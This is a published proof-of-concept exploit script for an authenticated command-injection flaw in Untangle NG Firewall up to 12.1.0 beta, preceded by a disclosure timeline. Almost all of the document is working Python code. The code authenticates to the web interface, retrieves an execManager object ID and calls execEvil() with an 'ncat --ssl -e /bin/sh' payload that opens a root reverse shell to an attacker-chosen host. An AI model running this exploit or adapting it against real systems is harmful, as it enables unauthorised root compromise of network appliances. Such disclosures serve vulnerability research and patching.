Untangle NGFW 12.1.0 Beta - 'execEvil()' Command Injection

#!/usr/bin/python

# Title:       Untangle NGFW <= v12.1.0 beta execEvil() authenticated root CI exploit
# CVE:        (Not yet assigned)
# Discovery:      Matt Bush (@3xocyte)
# Exploit:      Matt Bush
# Contact:      mbush@themissinglink.com.au

# Disclosure Timeline:
# 22/4/2016      Attempted to contact vendor after discovery of vulnerabilities
# 6/5/2016      No response from vendor, vulnerabilities reported to US-CERT (assigned VU#538103)
# 12/5/2016      US-CERT confirms contacting vendor
# 16/6/2016      US-CERT notifies of no response from vendor and suggests requesting CVE-ID following their timeline
# 27/6/2016       Public disclosure

# A command injection vulnerability exists in Untangle NG Firewall, which allows non-root authenticated users to execute system commands with
# root privileges. This exploit has been tested on Untangle NG Firewall versions 11.2, 12, 12.0.1, and 12.1.0 beta, but should work on previous 
# versions. The client-side sanitisation issues identified in the disclosure post can be exploited with a web app proxy. This exploit leverages
# the vulnerable function directly. Credentials can be obtained by sniffing unsecured HTTP logins (which the appliance defaults to).

# The author is not responsible for how this script or any information within this script is used. Don't do anything stupid.

import json, requests, sys

if len(sys.argv) < 5:
  print "[!] usage: " + sys.argv[0] + " <RHOST> <LHOST> <username> <password>"
  print "[!] and in a separate terminal: 'ncat --ssl -nlvp 443'"
  sys.exit()

print "\nUntangle NGFW <= v12.0.1 execEvil() authenticated root CI exploit"
print "                          by @3xocyte\n"

rhost = sys.argv[1]
lhost = sys.argv[2]
username = sys.argv[3]
password = sys.argv[4]

login_url = "http://" + rhost + "/auth/login?url=/webui&realm=Administrator"
rpc_url = "http://" + rhost + "/webui/JSON-RPC"
auth = {'username': username, 'password': password}

print "[*] Opening session..."
session = requests.Session()

print "[*] Authenticating..."
try:
  login = session.post(login_url, data=auth)
  get_nonce = {"id":1,"nonce":"","method":"system.getNonce","params":[]}
  req_nonce = session.post(rpc_url, data=json.dumps(get_nonce))
  data = json.loads(req_nonce.text)
  nonce = data['result']
except:
  print "[!] Authentication failed. Quitting."
  sys.exit()

print "[*] Getting execManager objectID..."
try:
  get_obj_id = {"id":2,"nonce":nonce,"method":"UvmContext.getWebuiStartupInfo","params":[]}
  req_obj_id = session.post(rpc_url, data=json.dumps(get_obj_id))
  data = json.loads(req_obj_id.text)
  object_id = data['result']['execManager']['objectID']

except:
  print "[!] Could not get execManager objectID. Quitting."
  sys.exit()

print "[*] Exploiting Ung.Main.getExecManager().execEvil()..."
try:
  exploit = {"id":3,"nonce":nonce,"method":".obj#" + str(object_id) + ".execEvil","params":["ncat --ssl -e /bin/sh " + lhost + " 443"]}
  session.post(rpc_url, data=json.dumps(exploit))
except:
  print "[!] Exploit failed. Quitting."
  sys.exit()

print "[*] Exploit sent!"